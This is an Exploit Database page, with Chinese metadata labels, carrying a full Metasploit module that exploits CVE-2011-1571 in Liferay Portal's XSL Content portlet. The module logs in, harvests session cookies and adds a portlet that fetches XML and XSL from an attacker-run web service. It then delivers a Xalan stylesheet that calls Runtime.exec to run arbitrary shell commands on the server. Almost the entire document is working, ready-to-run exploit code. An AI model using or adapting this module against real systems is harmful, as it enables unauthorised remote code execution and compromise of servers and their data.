Liferay XSL – Command Execution (Metasploit)

• Exploit Database
• 53 阅读

• 作者： Spencer McIntyre
  日期： 2012-04-08
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/18715/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'active_support/json'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::HttpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Liferay XSL Command Execution',
  			'Description'=> %q{
  			This module exploits a vulnerability in the XSL parser of the
  			XSL Content Portlet.When Tomcat is present, arbitrary code
  			can be executed via java calls in the data fed to the Xalan
  			XSLT processor. If XSLPAGE is defined, the user must have rights
  			to change the content of that page (to add a new XSL portlet),
  			otherwise it can be left blank and a new one will be created.
  			The second method however, requires administrative privileges.
  			},
  			'Author'	=> 
  				[
  					# SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey
  					'Spencer McIntyre',
  					'SecureState R&I Team',	# SecureState Research and Innovation Team
  					'Nicolas Gregoire',	# authored the vulnerability details provided in the wiki
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'CVE', '2011-1571' ],
  					[ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],
  				],
  			'Privileged' => false,
  			'Platform'=> [ 'win', 'linux', 'unix' ],
  			'Stance'=> Msf::Exploit::Stance::Aggressive,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  						}
  				},
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					[ 'Automatic',						{ 'groupid' => 0,	'pauth' => false } ],
  					[ 'Liferay 5.2.3 (Tomcat/JBoss)',	{ 'groupid' => 16, 	'pauth' => false } ],
  					[ 'Liferay 6.0.0 (Tomcat/JBoss)',	{ 'groupid' => 18, 	'pauth' => false } ],
  					[ 'Liferay 6.0.1-6 (Tomcat/JBoss)',	{ 'groupid' => 18, 	'pauth' => true} ],
  				],
  			'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726
  			'DefaultTarget'=> 0))
  		
  		register_options(
  			[
  				Opt::RPORT(8080),
  				OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
  				OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
  				OptString.new('XSLPAGE',[ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),
  				OptString.new('PATH', [ true,'The URI path of the portal', '/' ]),
  			], self.class)
  	end
  	
  	def auto_target(headers)
  		print_status("Attempting to automatically select a target...")
  		case headers['liferay-portal']
  		when /5.2.3/
  			return targets[1]
  		when /6.0.0/
  			return targets[2]
  		when /6.0.[1-6]/
  			return targets[3]
  		end
  		return nil
  	end
  
  	def exploit
  		print_status('Logging in and creating a page to embed XSL Content into...')
  		res = send_request_cgi({
  			'method'=> 'GET',
  			'uri' => datastore['PATH'] + 'web/guest/home'
  		})
  		
  		mytarget = target
  		if (target.name =~ /Automatic/)
  			mytarget = auto_target(res.headers)
  			if (not mytarget)
  				raise RuntimeError, "Unable to automatically select a target"
  			end
  			print_status("Automatically selected target \"#{mytarget.name}\"")
  		else
  			print_status("Using manually select target \"#{mytarget.name}\"")
  		end
  		sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
  		cookie = "#{sessionid}; COOKIE_SUPPORT=true"
  		
  		app_base = rand_text_alphanumeric(8+rand(8))
  		new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))
  		malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"
  		@xsl_data = run_cmd_with_xsl(payload.encoded)	# this is really the data returned for XSL and XML requests
  		service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
  		print_status("Starting up our web service on #{service_url} ...")
  		start_service({'Uri' => {
  				'Proc' => Proc.new { |cli, req|
  					on_request_uri(cli, req, 'XSL')
  				},
  				'Path' => '/' + app_base + '.xsl'
  		}})
  		start_service({'Uri' => {
  				'Proc' => Proc.new { |cli, req|
  					on_request_uri(cli, req, 'XML')
  				},
  				'Path' => '/' + app_base + '.xml'
  		}})
  		
  		res = send_request_cgi({
  			'method'=> 'POST',
  			'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',
  			'data'=> "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",
  			'cookie'=> cookie
  		})
  		
  		if res.code != 302
  			print_error('Login failed.')
  			return
  		end
  		
  		cookie = ''
  		for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]
  			cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '
  		end
  		xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' }
  
  		if datastore['XSLPAGE'] == nil	# the page was not defined, so we try to create a new one
  			res = send_request_cgi({
  				'method' => 'POST',
  				'uri'=> datastore['PATH'] + 'c/layout_management/update_page',
  				'data' => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",
  				'cookie' => cookie,
  				'headers'=> xml_http_request_headers,
  			})
  			if res.code != 200 or res.body == ""
  				print_error('Could not create a new page to embed the XSL Content into...')
  				return
  			end
  			new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end
  			print_status("Successfully created page #{new_page}, now configuring XSL...")
  		else
  			new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE']
  		end
  		
  		res = send_request_cgi({
  			'method'=> 'GET',
  			'uri' => new_page,
  			'cookie'=> cookie
  		})
  		
  		plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i
  		layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i
  		if mytarget['pauth']
  			pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&'
  		else
  			pauth = '' # versions prior to 6.0.1 do not require a p_auth token
  		end
  		
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> datastore['PATH'] + 'c/portal/update_layout',
  			'data' => "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=add¤tURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}",
  			'cookie' => cookie,
  			'headers'=> xml_http_request_headers,
  		})
  		if res.code != 200
  			print_error('Could not create a new page to embed the XSL Content into...')
  			return
  		end
  		
  		portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1]
  		
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450",
  			'data' => "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl",
  			'cookie' => cookie,
  		})
  		
  		if res.code != 200
  			print_error('Could not configure the XSL Portlet')
  			return
  		end
  		
  		print_status("Successfully configured XSL Portlet, requesting page to execute code...")
  		res = send_request_cgi({
  			'method'=> 'GET',
  			'uri' => new_page,
  			'cookie'=> cookie
  		})
  		
  		# wait for the data to be sent
  		waited = 0
  		while (not @xsl_sent)
  			select(nil, nil, nil, 1)
  			waited += 1
  			if (waited > 30)
  				raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?'
  			end
  		end
  		
  		print_status("Shutting down the web service...")
  		stop_service
  		return
  		
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> datastore['PATH'] + 'c/portal/update_layout',
  			'cookie' => cookie,
  			'data' => "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete"
  		})
  		
  		if datastore['XSLPAGE'] == nil	# we created the page, so delete it
  			res = send_request_cgi({
  				'method' => 'POST',
  				'uri'=> datastore['PATH'] + 'c/layout_management/update_page',
  				'data' => "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}",
  				'cookie' => cookie,
  				'headers'=> xml_http_request_headers,
  			})
  		end
  	end
  	
  	# Handle incoming requests from the server
  	def on_request_uri(cli, request, resource)
  		print_status("Sending the #{resource} File to the server...")
  		send_response(cli, @xsl_data)
  		@xsl_sent = true
  	end
  	
  	def run_cmd_with_xsl(cmd)
  		varpayload = rand_text_alpha(10+rand(8))
  		varruntime = rand_text_alpha(10+rand(8))
  		varproc = rand_text_alpha(10+rand(8))
  		payload ="<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n"
  		payload << " <xsl:template match=\"/\">\n"
  		payload << "<xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n"
  		payload << "<xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n"
  		payload << "<xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n"
  		
  		payload << "<xsl:choose>\n"
  		payload << " <xsl:when test=\"contains($osversion,'windows')\">\n"
  		payload << "<xsl:variable name=\"#{varpayload}\"><![CDATA[#{cmd}]]></xsl:variable>\n"
  		payload << "<xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
  		payload << " </xsl:when>\n\n"
  		
  		payload << " <xsl:otherwise>\n"
  		payload << "<xsl:variable name=\"#{varpayload}\"><![CDATA[/bin/sh ==== -c ==== #{cmd}]]></xsl:variable>\n"
  		payload << "<xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/>\n"
  		payload << "<xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
  		payload << " </xsl:otherwise>\n"
  		payload << "</xsl:choose>\n\n"
  		
  		payload << " </xsl:template>\n"
  		payload << "</xsl:stylesheet>\n"
  		payload
  	end
  end